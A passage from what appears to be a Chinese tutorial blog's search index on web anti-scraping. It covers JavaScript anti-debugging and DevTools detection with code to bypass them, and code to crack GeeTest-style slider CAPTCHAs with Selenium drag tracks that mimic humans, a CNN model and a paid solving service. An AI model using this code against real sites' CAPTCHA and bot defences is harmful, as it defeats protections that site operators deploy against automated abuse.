console.error = function () {}; ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:7","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#71-无限-debugger-循环"},{"categories":null,"collections":null,"content":"7. JavaScript 反调试技术 7.1 无限 Debugger 循环 原理: 使用 debugger 语句配合定时器或递归，持续暂停 JavaScript 执行。 实现方式: 方式 1: 直接循环 setInterval(function () { debugger; }, 100); 方式 2: 自执行函数 (function () { function detect() { debugger; detect(); } detect(); })(); 方式 3: eval/Function 动态执行 setInterval(function () { (function () { return false; }) [\"constructor\"](\"debugger\") [\"call\"](); }, 50); // 或使用 eval setInterval(function () { eval(\"debugger\"); }, 50); 方式 4: 时间检测 setInterval(function () { var start = new Date(); debugger; var end = new Date(); // 检测时间差，判断是否在调试 if (end - start \u003e 100) { console.log(\"Developer tools detected!\"); // 清空页面或重定向 document.body.innerHTML = \"\"; window.location.href = \"about:blank\"; } }, 1000); 7.2 绕过反调试的方法 方法 1: 禁用所有断点 Chrome DevTools 操作: 打开 Sources 面板 点击右侧的\"Deactivate breakpoints\"按钮（快捷键 Ctrl+F8） 所有 debugger 语句将被忽略 方法 2: Never Pause Here (永不在此暂停) 1. 在 debugger 行右键 2. 选择 \"Never pause here\" 3. 该行的 debugger 将被忽略 方法 3: 条件断点覆盖 1. 在 debugger 行设置条件断点 2. 条件设为 false 3. 断点将永不触发 方法 4: Hook Function 构造器 // 在页面加载前注入（通过浏览器扩展或 Fiddler） (function () { var originalFunction = window.Function; window.Function = function () { var args = Array.prototype.slice.call(arguments); var code = args[args.length - 1]; // 检测并移除 debugger if (code \u0026\u0026 typeof code === \"string\" \u0026\u0026 code.includes(\"debugger\")) { console.log(\"Blocked debugger:\", code); args[args.length - 1] = code.replace(/debugger/g, \"\"); } return originalFunction.apply(this, args); }; // 处理 eval var originalEval = window.eval; window.eval = function (code) { if (typeof code === \"string\" \u0026\u0026 code.includes(\"debugger\")) { console.log(\"Blocked eval debugger:\", code); code = code.replace(/debugger/g, \"\"); } return originalEval.call(this, code); }; })(); 方法 5: 本地文件替换 使用 Fiddler/Charles 替换 JavaScript 文件: // 1. 保存原始 JS 文件 // 2. 移除所有 debugger 语句 // 3. 使用 Fiddler AutoResponder 替换 // Fiddler AutoResponder 规则: // REGEX:https://example.com/js/protect.js // 本地文件路径: C:\\temp\\protect_cracked.js 方法 6: Chrome DevTools Protocol (CDP) from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_experimental_option('excludeSwitches', ['enable-automation']) chrome_options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=chrome_options) # 禁用 debugger driver.execute_cdp_cmd('Debugger.disable', {}) # 设置断点行为 driver.execute_cdp_cmd('Debugger.setBreakpointsActive', {'active': False}) driver.get('https://example.com') 方法 7: 重写 debugger (Proxy) // 使用 Proxy 拦截 debugger (function () { var handler = { construct: function (target, args) { var code = args[args.length - 1]; if (typeof code === \"string\") { code = code.replace(/debugger/g, \"\"); args[args.length - 1] = code; } return new target(...args); }, }; window.Function = new Proxy(Function, handler); })(); 参考资源: 浏览器反调试绕过无限 debugger 及代码执行器检测 绕过 JavaScript debugger 三种解决方法 JS 逆向：常见无限 Debugger 以及绕过方法 几种常见的前端反调试方法及突破方式 7.3 检测开发者工具 检测方法 1: 窗口尺寸检测 function detectDevTools() { var widthThreshold = window.outerWidth - window.innerWidth \u003e 160; var heightThreshold = window.outerHeight - window.innerHeight \u003e 160; if (widthThreshold || heightThreshold) { console.log(\"DevTools detected!\"); return true; } return false; } setInterval(detectDevTools, 1000); 检测方法 2: console.log 时间检测 var devtools = { open: false }; var checkStatus = function () { var element = new Image(); Object.defineProperty(element, \"id\", { get: function () { devtools.open = true; }, }); console.log(\"%c\", element); console.clear(); }; setInterval(function () { devtools.open = false; checkStatus(); if (devtools.open) { console.log(\"DevTools detected!\"); // 执行反制措施 } }, 1000); 绕过方法: 使用无头浏览器或禁用 console 输出 // Hook console.log console.log = function () {}; console.warn = function () {}; console.error = function () {}; ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:7","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#72-绕过反调试的方法"},{"categories":null,"collections":null,"content":"7. JavaScript 反调试技术 7.1 无限 Debugger 循环 原理: 使用 debugger 语句配合定时器或递归，持续暂停 JavaScript 执行。 实现方式: 方式 1: 直接循环 setInterval(function () { debugger; }, 100); 方式 2: 自执行函数 (function () { function detect() { debugger; detect(); } detect(); })(); 方式 3: eval/Function 动态执行 setInterval(function () { (function () { return false; }) [\"constructor\"](\"debugger\") [\"call\"](); }, 50); // 或使用 eval setInterval(function () { eval(\"debugger\"); }, 50); 方式 4: 时间检测 setInterval(function () { var start = new Date(); debugger; var end = new Date(); // 检测时间差，判断是否在调试 if (end - start \u003e 100) { console.log(\"Developer tools detected!\"); // 清空页面或重定向 document.body.innerHTML = \"\"; window.location.href = \"about:blank\"; } }, 1000); 7.2 绕过反调试的方法 方法 1: 禁用所有断点 Chrome DevTools 操作: 打开 Sources 面板 点击右侧的\"Deactivate breakpoints\"按钮（快捷键 Ctrl+F8） 所有 debugger 语句将被忽略 方法 2: Never Pause Here (永不在此暂停) 1. 在 debugger 行右键 2. 选择 \"Never pause here\" 3. 该行的 debugger 将被忽略 方法 3: 条件断点覆盖 1. 在 debugger 行设置条件断点 2. 条件设为 false 3. 断点将永不触发 方法 4: Hook Function 构造器 // 在页面加载前注入（通过浏览器扩展或 Fiddler） (function () { var originalFunction = window.Function; window.Function = function () { var args = Array.prototype.slice.call(arguments); var code = args[args.length - 1]; // 检测并移除 debugger if (code \u0026\u0026 typeof code === \"string\" \u0026\u0026 code.includes(\"debugger\")) { console.log(\"Blocked debugger:\", code); args[args.length - 1] = code.replace(/debugger/g, \"\"); } return originalFunction.apply(this, args); }; // 处理 eval var originalEval = window.eval; window.eval = function (code) { if (typeof code === \"string\" \u0026\u0026 code.includes(\"debugger\")) { console.log(\"Blocked eval debugger:\", code); code = code.replace(/debugger/g, \"\"); } return originalEval.call(this, code); }; })(); 方法 5: 本地文件替换 使用 Fiddler/Charles 替换 JavaScript 文件: // 1. 保存原始 JS 文件 // 2. 移除所有 debugger 语句 // 3. 使用 Fiddler AutoResponder 替换 // Fiddler AutoResponder 规则: // REGEX:https://example.com/js/protect.js // 本地文件路径: C:\\temp\\protect_cracked.js 方法 6: Chrome DevTools Protocol (CDP) from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_experimental_option('excludeSwitches', ['enable-automation']) chrome_options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=chrome_options) # 禁用 debugger driver.execute_cdp_cmd('Debugger.disable', {}) # 设置断点行为 driver.execute_cdp_cmd('Debugger.setBreakpointsActive', {'active': False}) driver.get('https://example.com') 方法 7: 重写 debugger (Proxy) // 使用 Proxy 拦截 debugger (function () { var handler = { construct: function (target, args) { var code = args[args.length - 1]; if (typeof code === \"string\") { code = code.replace(/debugger/g, \"\"); args[args.length - 1] = code; } return new target(...args); }, }; window.Function = new Proxy(Function, handler); })(); 参考资源: 浏览器反调试绕过无限 debugger 及代码执行器检测 绕过 JavaScript debugger 三种解决方法 JS 逆向：常见无限 Debugger 以及绕过方法 几种常见的前端反调试方法及突破方式 7.3 检测开发者工具 检测方法 1: 窗口尺寸检测 function detectDevTools() { var widthThreshold = window.outerWidth - window.innerWidth \u003e 160; var heightThreshold = window.outerHeight - window.innerHeight \u003e 160; if (widthThreshold || heightThreshold) { console.log(\"DevTools detected!\"); return true; } return false; } setInterval(detectDevTools, 1000); 检测方法 2: console.log 时间检测 var devtools = { open: false }; var checkStatus = function () { var element = new Image(); Object.defineProperty(element, \"id\", { get: function () { devtools.open = true; }, }); console.log(\"%c\", element); console.clear(); }; setInterval(function () { devtools.open = false; checkStatus(); if (devtools.open) { console.log(\"DevTools detected!\"); // 执行反制措施 } }, 1000); 绕过方法: 使用无头浏览器或禁用 console 输出 // Hook console.log console.log = function () {}; console.warn = function () {}; console.error = function () {}; ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:7","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#73-检测开发者工具"},{"categories":null,"collections":null,"content":"8. 验证码技术 8.1 验证码类型 现代验证码主要分为以下几类: 图形验证码: 最传统的验证码，包含扭曲文字、噪点等 滑块验证码: 拖动滑块拼合图片（如极验、网易易盾） 点选验证码: 按顺序点击特定文字或物体 行为验证码: 分析用户行为轨迹（鼠标移动、点击模式） 智能验证码: 无感验证，通过设备指纹和行为分析判断 8.2 主流验证码服务商 服务商 类型 特点 破解难度 极验 (GeeTest) 滑块、点选、智能 行为轨迹分析、多维度风控 ★★★★★ 网易易盾 滑块、点选、智能 图像乱序、背景融合 ★★★★★ 阿里云盾 滑块、智能 风控引擎、设备指纹 ★★★★★ 腾讯天御 滑块、点选、智能 交互动态加载 ★★★★★ 点触验证码 滑块、点选 多种验证方式 ★★★★☆ Google reCAPTCHA v3 智能 无感验证、风险评分 ★★★★☆ 8.3 滑块验证码原理与破解 极验滑块验证码工作流程: 1. 用户访问页面 2. 加载验证码组件 3. 显示缺口图片和滑块 4. 用户拖动滑块 5. 记录轨迹数据： - 鼠标移动轨迹 - 速度变化 - 加速度 - 时间戳 6. 提交轨迹到服务器验证 7. 服务器分析行为特征： - 轨迹是否平滑 - 速度是否自然 - 是否符合人类行为 8. 返回验证结果 破解方法: 方法 1: 图像识别 + 轨迹模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By from PIL import Image import cv2 import numpy as np import time import random class SliderCracker: def __init__(self, driver): self.driver = driver def get_gap_distance(self, bg_img, slide_img): \"\"\"计算缺口距离\"\"\" # 1. 转换为灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_RGB2GRAY) slide_gray = cv2.cvtColor(np.array(slide_img), cv2.COLOR_RGB2GRAY) # 2. 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) # 3. 模板匹配 result = cv2.matchTemplate(bg_edges, slide_gray, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 4. 返回匹配位置（缺口距离） return max_loc[0] def get_track(self, distance): \"\"\"生成拖动轨迹（模拟人类行为）\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 减速点 t = 0.2 # 时间间隔 v = 0 # 初速度 while current \u003c distance: if current \u003c mid: a = 2 # 加速度 else: a = -3 # 减速 v0 = v v = v0 + a * t move = v0 * t + 1/2 * a * t * t current += move track.append(round(move)) return track def move_slider(self, slider, track): \"\"\"移动滑块\"\"\" ActionChains(self.driver).click_and_hold(slider).perform() for x in track: ActionChains(self.driver).move_by_offset(xoffset=x, yoffset=0).perform() time.sleep(random.uniform(0.001, 0.002)) # 随机抖动（模拟人类修正） for _ in range(3): ActionChains(self.driver).move_by_offset( xoffset=random.uniform(-2, 2), yoffset=random.uniform(-2, 2) ).perform() time.sleep(random.uniform(0.01, 0.02)) ActionChains(self.driver).release().perform() def crack(self): \"\"\"破解滑块验证码\"\"\" # 1. 等待验证码加载 time.sleep(2) # 2. 获取背景图和滑块图 bg_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_bg') slide_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_slice') # 3. 截图 bg_img = Image.open(BytesIO(bg_element.screenshot_as_png)) slide_img = Image.open(BytesIO(slide_element.screenshot_as_png)) # 4. 计算缺口距离 distance = self.get_gap_distance(bg_img, slide_img) # 5. 生成轨迹 track = self.get_track(distance - 7) # 减去滑块宽度 # 6. 拖动滑块 slider = self.driver.find_element(By.CLASS_NAME, 'geetest_slider_button') self.move_slider(slider, track) # 7. 等待验证结果 time.sleep(2) 方法 2: 深度学习识别 import tensorflow as tf from tensorflow.keras import layers, models class CaptchaCNN: def __init__(self): self.model = self.build_model() def build_model(self): \"\"\"构建 CNN 模型\"\"\" model = models.Sequential([ layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 260, 3)), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.Flatten(), layers.Dense(64, activation='relu'), layers.Dense(1, activation='linear') # 输出缺口位置 ]) model.compile( optimizer='adam', loss='mse', metrics=['mae'] ) return model def train(self, X_train, y_train, epochs=50): \"\"\"训练模型\"\"\" self.model.fit( X_train, y_train, epochs=epochs, validation_split=0.2 ) def predict_gap(self, image): \"\"\"预测缺口位置\"\"\" image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] 方法 3: 打码平台 import requests class OCRService: def __init__(self, api_key): self.api_key = api_key self.api_url = 'http://api.ttshitu.com/predict' def recognize_slider(self, bg_img_path, slide_img_path): \"\"\"使用打码平台识别滑块验证码\"\"\" with open(bg_img_path, 'rb') as f: bg_img = f.read() with open(slide_img_path, 'rb') as f: slide_img = f.read() data = { 'username': 'your_username', 'password': 'your_password', 'typeid': '33', # 滑块验证码类型 'imag","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:8","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#8-验证码技术"},{"categories":null,"collections":null,"content":"8. 验证码技术 8.1 验证码类型 现代验证码主要分为以下几类: 图形验证码: 最传统的验证码，包含扭曲文字、噪点等 滑块验证码: 拖动滑块拼合图片（如极验、网易易盾） 点选验证码: 按顺序点击特定文字或物体 行为验证码: 分析用户行为轨迹（鼠标移动、点击模式） 智能验证码: 无感验证，通过设备指纹和行为分析判断 8.2 主流验证码服务商 服务商 类型 特点 破解难度 极验 (GeeTest) 滑块、点选、智能 行为轨迹分析、多维度风控 ★★★★★ 网易易盾 滑块、点选、智能 图像乱序、背景融合 ★★★★★ 阿里云盾 滑块、智能 风控引擎、设备指纹 ★★★★★ 腾讯天御 滑块、点选、智能 交互动态加载 ★★★★★ 点触验证码 滑块、点选 多种验证方式 ★★★★☆ Google reCAPTCHA v3 智能 无感验证、风险评分 ★★★★☆ 8.3 滑块验证码原理与破解 极验滑块验证码工作流程: 1. 用户访问页面 2. 加载验证码组件 3. 显示缺口图片和滑块 4. 用户拖动滑块 5. 记录轨迹数据： - 鼠标移动轨迹 - 速度变化 - 加速度 - 时间戳 6. 提交轨迹到服务器验证 7. 服务器分析行为特征： - 轨迹是否平滑 - 速度是否自然 - 是否符合人类行为 8. 返回验证结果 破解方法: 方法 1: 图像识别 + 轨迹模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By from PIL import Image import cv2 import numpy as np import time import random class SliderCracker: def __init__(self, driver): self.driver = driver def get_gap_distance(self, bg_img, slide_img): \"\"\"计算缺口距离\"\"\" # 1. 转换为灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_RGB2GRAY) slide_gray = cv2.cvtColor(np.array(slide_img), cv2.COLOR_RGB2GRAY) # 2. 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) # 3. 模板匹配 result = cv2.matchTemplate(bg_edges, slide_gray, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 4. 返回匹配位置（缺口距离） return max_loc[0] def get_track(self, distance): \"\"\"生成拖动轨迹（模拟人类行为）\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 减速点 t = 0.2 # 时间间隔 v = 0 # 初速度 while current \u003c distance: if current \u003c mid: a = 2 # 加速度 else: a = -3 # 减速 v0 = v v = v0 + a * t move = v0 * t + 1/2 * a * t * t current += move track.append(round(move)) return track def move_slider(self, slider, track): \"\"\"移动滑块\"\"\" ActionChains(self.driver).click_and_hold(slider).perform() for x in track: ActionChains(self.driver).move_by_offset(xoffset=x, yoffset=0).perform() time.sleep(random.uniform(0.001, 0.002)) # 随机抖动（模拟人类修正） for _ in range(3): ActionChains(self.driver).move_by_offset( xoffset=random.uniform(-2, 2), yoffset=random.uniform(-2, 2) ).perform() time.sleep(random.uniform(0.01, 0.02)) ActionChains(self.driver).release().perform() def crack(self): \"\"\"破解滑块验证码\"\"\" # 1. 等待验证码加载 time.sleep(2) # 2. 获取背景图和滑块图 bg_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_bg') slide_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_slice') # 3. 截图 bg_img = Image.open(BytesIO(bg_element.screenshot_as_png)) slide_img = Image.open(BytesIO(slide_element.screenshot_as_png)) # 4. 计算缺口距离 distance = self.get_gap_distance(bg_img, slide_img) # 5. 生成轨迹 track = self.get_track(distance - 7) # 减去滑块宽度 # 6. 拖动滑块 slider = self.driver.find_element(By.CLASS_NAME, 'geetest_slider_button') self.move_slider(slider, track) # 7. 等待验证结果 time.sleep(2) 方法 2: 深度学习识别 import tensorflow as tf from tensorflow.keras import layers, models class CaptchaCNN: def __init__(self): self.model = self.build_model() def build_model(self): \"\"\"构建 CNN 模型\"\"\" model = models.Sequential([ layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 260, 3)), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.Flatten(), layers.Dense(64, activation='relu'), layers.Dense(1, activation='linear') # 输出缺口位置 ]) model.compile( optimizer='adam', loss='mse', metrics=['mae'] ) return model def train(self, X_train, y_train, epochs=50): \"\"\"训练模型\"\"\" self.model.fit( X_train, y_train, epochs=epochs, validation_split=0.2 ) def predict_gap(self, image): \"\"\"预测缺口位置\"\"\" image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] 方法 3: 打码平台 import requests class OCRService: def __init__(self, api_key): self.api_key = api_key self.api_url = 'http://api.ttshitu.com/predict' def recognize_slider(self, bg_img_path, slide_img_path): \"\"\"使用打码平台识别滑块验证码\"\"\" with open(bg_img_path, 'rb') as f: bg_img = f.read() with open(slide_img_path, 'rb') as f: slide_img = f.read() data = { 'username': 'your_username', 'password': 'your_password', 'typeid': '33', # 滑块验证码类型 'imag","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:8","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#81-验证码类型"},{"categories":null,"collections":null,"content":"8. 验证码技术 8.1 验证码类型 现代验证码主要分为以下几类: 图形验证码: 最传统的验证码，包含扭曲文字、噪点等 滑块验证码: 拖动滑块拼合图片（如极验、网易易盾） 点选验证码: 按顺序点击特定文字或物体 行为验证码: 分析用户行为轨迹（鼠标移动、点击模式） 智能验证码: 无感验证，通过设备指纹和行为分析判断 8.2 主流验证码服务商 服务商 类型 特点 破解难度 极验 (GeeTest) 滑块、点选、智能 行为轨迹分析、多维度风控 ★★★★★ 网易易盾 滑块、点选、智能 图像乱序、背景融合 ★★★★★ 阿里云盾 滑块、智能 风控引擎、设备指纹 ★★★★★ 腾讯天御 滑块、点选、智能 交互动态加载 ★★★★★ 点触验证码 滑块、点选 多种验证方式 ★★★★☆ Google reCAPTCHA v3 智能 无感验证、风险评分 ★★★★☆ 8.3 滑块验证码原理与破解 极验滑块验证码工作流程: 1. 用户访问页面 2. 加载验证码组件 3. 显示缺口图片和滑块 4. 用户拖动滑块 5. 记录轨迹数据： - 鼠标移动轨迹 - 速度变化 - 加速度 - 时间戳 6. 提交轨迹到服务器验证 7. 服务器分析行为特征： - 轨迹是否平滑 - 速度是否自然 - 是否符合人类行为 8. 返回验证结果 破解方法: 方法 1: 图像识别 + 轨迹模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By from PIL import Image import cv2 import numpy as np import time import random class SliderCracker: def __init__(self, driver): self.driver = driver def get_gap_distance(self, bg_img, slide_img): \"\"\"计算缺口距离\"\"\" # 1. 转换为灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_RGB2GRAY) slide_gray = cv2.cvtColor(np.array(slide_img), cv2.COLOR_RGB2GRAY) # 2. 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) # 3. 模板匹配 result = cv2.matchTemplate(bg_edges, slide_gray, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 4. 返回匹配位置（缺口距离） return max_loc[0] def get_track(self, distance): \"\"\"生成拖动轨迹（模拟人类行为）\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 减速点 t = 0.2 # 时间间隔 v = 0 # 初速度 while current \u003c distance: if current \u003c mid: a = 2 # 加速度 else: a = -3 # 减速 v0 = v v = v0 + a * t move = v0 * t + 1/2 * a * t * t current += move track.append(round(move)) return track def move_slider(self, slider, track): \"\"\"移动滑块\"\"\" ActionChains(self.driver).click_and_hold(slider).perform() for x in track: ActionChains(self.driver).move_by_offset(xoffset=x, yoffset=0).perform() time.sleep(random.uniform(0.001, 0.002)) # 随机抖动（模拟人类修正） for _ in range(3): ActionChains(self.driver).move_by_offset( xoffset=random.uniform(-2, 2), yoffset=random.uniform(-2, 2) ).perform() time.sleep(random.uniform(0.01, 0.02)) ActionChains(self.driver).release().perform() def crack(self): \"\"\"破解滑块验证码\"\"\" # 1. 等待验证码加载 time.sleep(2) # 2. 获取背景图和滑块图 bg_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_bg') slide_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_slice') # 3. 截图 bg_img = Image.open(BytesIO(bg_element.screenshot_as_png)) slide_img = Image.open(BytesIO(slide_element.screenshot_as_png)) # 4. 计算缺口距离 distance = self.get_gap_distance(bg_img, slide_img) # 5. 生成轨迹 track = self.get_track(distance - 7) # 减去滑块宽度 # 6. 拖动滑块 slider = self.driver.find_element(By.CLASS_NAME, 'geetest_slider_button') self.move_slider(slider, track) # 7. 等待验证结果 time.sleep(2) 方法 2: 深度学习识别 import tensorflow as tf from tensorflow.keras import layers, models class CaptchaCNN: def __init__(self): self.model = self.build_model() def build_model(self): \"\"\"构建 CNN 模型\"\"\" model = models.Sequential([ layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 260, 3)), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.Flatten(), layers.Dense(64, activation='relu'), layers.Dense(1, activation='linear') # 输出缺口位置 ]) model.compile( optimizer='adam', loss='mse', metrics=['mae'] ) return model def train(self, X_train, y_train, epochs=50): \"\"\"训练模型\"\"\" self.model.fit( X_train, y_train, epochs=epochs, validation_split=0.2 ) def predict_gap(self, image): \"\"\"预测缺口位置\"\"\" image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] 方法 3: 打码平台 import requests class OCRService: def __init__(self, api_key): self.api_key = api_key self.api_url = 'http://api.ttshitu.com/predict' def recognize_slider(self, bg_img_path, slide_img_path): \"\"\"使用打码平台识别滑块验证码\"\"\" with open(bg_img_path, 'rb') as f: bg_img = f.read() with open(slide_img_path, 'rb') as f: slide_img = f.read() data = { 'username': 'your_username', 'password': 'your_password', 'typeid': '33', # 滑块验证码类型 'imag","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:8","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#82-主流验证码服务商"},{"categories":null,"collections":null,"content":"8. 验证码技术 8.1 验证码类型 现代验证码主要分为以下几类: 图形验证码: 最传统的验证码，包含扭曲文字、噪点等 滑块验证码: 拖动滑块拼合图片（如极验、网易易盾） 点选验证码: 按顺序点击特定文字或物体 行为验证码: 分析用户行为轨迹（鼠标移动、点击模式） 智能验证码: 无感验证，通过设备指纹和行为分析判断 8.2 主流验证码服务商 服务商 类型 特点 破解难度 极验 (GeeTest) 滑块、点选、智能 行为轨迹分析、多维度风控 ★★★★★ 网易易盾 滑块、点选、智能 图像乱序、背景融合 ★★★★★ 阿里云盾 滑块、智能 风控引擎、设备指纹 ★★★★★ 腾讯天御 滑块、点选、智能 交互动态加载 ★★★★★ 点触验证码 滑块、点选 多种验证方式 ★★★★☆ Google reCAPTCHA v3 智能 无感验证、风险评分 ★★★★☆ 8.3 滑块验证码原理与破解 极验滑块验证码工作流程: 1. 用户访问页面 2. 加载验证码组件 3. 显示缺口图片和滑块 4. 用户拖动滑块 5. 记录轨迹数据： - 鼠标移动轨迹 - 速度变化 - 加速度 - 时间戳 6. 提交轨迹到服务器验证 7. 服务器分析行为特征： - 轨迹是否平滑 - 速度是否自然 - 是否符合人类行为 8. 返回验证结果 破解方法: 方法 1: 图像识别 + 轨迹模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By from PIL import Image import cv2 import numpy as np import time import random class SliderCracker: def __init__(self, driver): self.driver = driver def get_gap_distance(self, bg_img, slide_img): \"\"\"计算缺口距离\"\"\" # 1. 转换为灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_RGB2GRAY) slide_gray = cv2.cvtColor(np.array(slide_img), cv2.COLOR_RGB2GRAY) # 2. 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) # 3. 模板匹配 result = cv2.matchTemplate(bg_edges, slide_gray, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 4. 返回匹配位置（缺口距离） return max_loc[0] def get_track(self, distance): \"\"\"生成拖动轨迹（模拟人类行为）\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 减速点 t = 0.2 # 时间间隔 v = 0 # 初速度 while current \u003c distance: if current \u003c mid: a = 2 # 加速度 else: a = -3 # 减速 v0 = v v = v0 + a * t move = v0 * t + 1/2 * a * t * t current += move track.append(round(move)) return track def move_slider(self, slider, track): \"\"\"移动滑块\"\"\" ActionChains(self.driver).click_and_hold(slider).perform() for x in track: ActionChains(self.driver).move_by_offset(xoffset=x, yoffset=0).perform() time.sleep(random.uniform(0.001, 0.002)) # 随机抖动（模拟人类修正） for _ in range(3): ActionChains(self.driver).move_by_offset( xoffset=random.uniform(-2, 2), yoffset=random.uniform(-2, 2) ).perform() time.sleep(random.uniform(0.01, 0.02)) ActionChains(self.driver).release().perform() def crack(self): \"\"\"破解滑块验证码\"\"\" # 1. 等待验证码加载 time.sleep(2) # 2. 获取背景图和滑块图 bg_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_bg') slide_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_slice') # 3. 截图 bg_img = Image.open(BytesIO(bg_element.screenshot_as_png)) slide_img = Image.open(BytesIO(slide_element.screenshot_as_png)) # 4. 计算缺口距离 distance = self.get_gap_distance(bg_img, slide_img) # 5. 生成轨迹 track = self.get_track(distance - 7) # 减去滑块宽度 # 6. 拖动滑块 slider = self.driver.find_element(By.CLASS_NAME, 'geetest_slider_button') self.move_slider(slider, track) # 7. 等待验证结果 time.sleep(2) 方法 2: 深度学习识别 import tensorflow as tf from tensorflow.keras import layers, models class CaptchaCNN: def __init__(self): self.model = self.build_model() def build_model(self): \"\"\"构建 CNN 模型\"\"\" model = models.Sequential([ layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 260, 3)), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.Flatten(), layers.Dense(64, activation='relu'), layers.Dense(1, activation='linear') # 输出缺口位置 ]) model.compile( optimizer='adam', loss='mse', metrics=['mae'] ) return model def train(self, X_train, y_train, epochs=50): \"\"\"训练模型\"\"\" self.model.fit( X_train, y_train, epochs=epochs, validation_split=0.2 ) def predict_gap(self, image): \"\"\"预测缺口位置\"\"\" image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] 方法 3: 打码平台 import requests class OCRService: def __init__(self, api_key): self.api_key = api_key self.api_url = 'http://api.ttshitu.com/predict' def recognize_slider(self, bg_img_path, slide_img_path): \"\"\"使用打码平台识别滑块验证码\"\"\" with open(bg_img_path, 'rb') as f: bg_img = f.read() with open(slide_img_path, 'rb') as f: slide_img = f.read() data = { 'username': 'your_username', 'password': 'your_password', 'typeid': '33', # 滑块验证码类型 'imag","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:8","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#83-滑块验证码原理与破解"},{"categories":null,"collections":null,"content":"8. 验证码技术 8.1 验证码类型 现代验证码主要分为以下几类: 图形验证码: 最传统的验证码，包含扭曲文字、噪点等 滑块验证码: 拖动滑块拼合图片（如极验、网易易盾） 